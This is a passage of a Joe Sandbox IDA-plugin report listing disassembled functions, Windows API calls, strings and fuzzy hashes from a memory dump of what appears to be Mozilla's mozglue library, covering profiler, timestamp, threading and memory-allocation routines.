Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

GetCurrentThreadId.KERNEL32 ref: 6C965EAB
GetCurrentThreadId.KERNEL32 ref: 6C965EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C966017

Part of subcall function 6C954310: moz_xmalloc.MOZGLUE(00000010,?,6C9542D2), ref: 6C95436A
Part of subcall function 6C954310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9542D2), ref: 6C954387

moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
GetCurrentProcess.KERNEL32 ref: 6C965F53
GetCurrentThread.KERNEL32 ref: 6C965F5C
GetCurrentProcess.KERNEL32 ref: 6C965F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C96605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C9660CC

Strings

GeckoMain, xrefs: 6C965ECE, 6C966015

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction ID: fe2a2cd9137c1a3b352bfc4f8bd3c8f569d5e34e782df34f2a83b2abc3ece42a
Opcode Fuzzy Hash: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction Fuzzy Hash: F871BFB0A09740DFD710DF25C480A6ABBF0BF69308F54496DE48687F92D730E998CB92

Function 6C969590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C953217
Part of subcall function 6C9531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C953236
Part of subcall function 6C9531C0: FreeLibrary.KERNEL32 ref: 6C95324B
Part of subcall function 6C9531C0: __Init_thread_footer.LIBCMT ref: 6C953260
Part of subcall function 6C9531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C95327F
Part of subcall function 6C9531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95328E
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532AB
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532D1
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9532E5
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

NtMapViewOfSection, xrefs: 6C969701
ntdll.dll, xrefs: 6C9696E3
MapViewOfFileNuma2, xrefs: 6C9697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction ID: ad7bde9eeb5b4c124e74dcc735da0b360ff8e9eaf5045ce9313fcdfbf664f9e2
Opcode Fuzzy Hash: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction Fuzzy Hash: A361E871608B05DBEF00CF65D885BDA7BB5EB4AB18F218519E915A7BC0D730F884CB91

Function 6C967FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C968007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C96801D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C96802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C96803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C96808D

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C96809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C968133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C968149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C968167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C96817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C968199

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction ID: 65d4232a91dd285b52f2b3a9989be4e44a64ab7fc317eff88c13f0904f252403
Opcode Fuzzy Hash: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction Fuzzy Hash: 8A5196B1E001449BEF10DFA6DC849DFB7B9AF69224F250525E815E7781E730D904CBA2

Function 6C9B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6694
GetThreadId.KERNEL32(?), ref: 6C9B66B1
GetCurrentThreadId.KERNEL32 ref: 6C9B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9B66E1
EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6734
GetCurrentProcess.KERNEL32 ref: 6C9B673A
LeaveCriticalSection.KERNEL32(6C9DF618), ref: 6C9B676C
GetCurrentThread.KERNEL32 ref: 6C9B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9B6868
RtlCaptureContext.NTDLL ref: 6C9B687F

Strings

WalkStack64, xrefs: 6C9B6890

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction ID: 7c12e1498edf45aa59936eb09e11e5efdcb7c3a4f13503f9025c66312e0df1ec
Opcode Fuzzy Hash: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction Fuzzy Hash: 3451BA71A09701AFDB15CF24C884A5BBBF8BF89714F10892DF999A7640D770F948CB92

Function 6C99DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99DE73
GetCurrentThreadId.KERNEL32 ref: 6C99DF7D
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DFC9
GetCurrentThreadId.KERNEL32 ref: 6C99DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C99E00E
<none>, xrefs: 6C99DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C99DE83

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction ID: c88251a2a4174e7d531eee6086474c1a255687f447204ce14e138000e4d58790
Opcode Fuzzy Hash: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction Fuzzy Hash: 9F411632705A119FDB109F64C8497AE7779EB9530DF284019E90AA7F01CB30F855CBE2

Function 6C9AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD52A
GetCurrentThreadId.KERNEL32 ref: 6C9AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD55F
free.MOZGLUE(00000000), ref: 6C9AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD652
GetCurrentThreadId.KERNEL32 ref: 6C9AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD6A2

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction ID: 68bd373f28a8817a722e4300504dce52bd0854999d4ed2a5bf06be0fe8af245e
Opcode Fuzzy Hash: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction Fuzzy Hash: 92516CB1608B05DFC704DF65C484A9ABBB4FF89358F108A2EE95A97710DB30F985CB91

Function 6C975670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C975744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9757BC
GetTickCount64.KERNEL32 ref: 6C9758CB
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9758F3
__aulldiv.LIBCMT ref: 6C975945
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9DF638,?,?,?,?), ref: 6C9759E9

Strings

MOZ_APP_RESTART, xrefs: 6C9756CC

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction ID: bb7ff651eae94081bea50f32eb7a2595acfb432eff971e952c837c617aba6349
Opcode Fuzzy Hash: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction Fuzzy Hash: 39C17B31A0D7449BDB05CF28C44166AB7F1BFDA718F558A1DE8C4A7A60E730E885CB92

Function 6C99EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EC8C

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99ECA1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C99ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99ED19
CloseHandle.KERNEL32(?), ref: 6C99ED28
free.MOZGLUE(00000000), ref: 6C99ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C99EC94

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction ID: 70f63d3fafa89faf754d6faa4af9d2e5a158a95f6ecc2334fac8ed53db4be5fc
Opcode Fuzzy Hash: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction Fuzzy Hash: C121E575604904AFDB009F64DC09A9A3779FB5626DF288210FD18A7B41DB31E845CBF1

Function 6C998ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C95EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C99B392,?,?,00000001), ref: 6C9991F4

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Strings

timeline-memory, xrefs: 6C999088
timeline-ipc, xrefs: 6C999096
stack-chart, xrefs: 6C9990B2
marker-table, xrefs: 6C99906C
name, xrefs: 6C998F16
timeline-overview, xrefs: 6C99907A
data, xrefs: 6C9990E8
timeline-fileio, xrefs: 6C9990A4
marker-chart, xrefs: 6C99905E

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction ID: 618ba5d754fdee7efc7bfc10d229741b723f6b50baf2371298d3e58226ead686
Opcode Fuzzy Hash: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction Fuzzy Hash: 70B1D0B1B012099BDF04CF95C4917AEBBB9BF94318F254019D506ABF80D731EA55CBE2

Function 6C97C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C5A3
WideCharToMultiByte.KERNEL32 ref: 6C97C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C97C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C97CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C97CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97CAA5

Strings

0, xrefs: 6C97D30A
(null), xrefs: 6C97C596

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction ID: 1e302c6cb67bae7911c58ead7639e4d65c65649c2d40d78be8b09cfda47b0d90
Opcode Fuzzy Hash: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction Fuzzy Hash: FFA1AC3160A342DFDB20DF28C58475ABBF5AF89748F14892DE889D7741DB31E905CBA2

Function 6C97C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C97C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C97C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97C891

Strings

inf, xrefs: 6C97C78F
INF, xrefs: 6C97C794
NAN, xrefs: 6C97C7AD
nan, xrefs: 6C97C7A8

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction ID: 2f305e3f688d0ed2e8eb71c9c224969827342a6f33d9ce131dc7cd59fbb20936
Opcode Fuzzy Hash: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
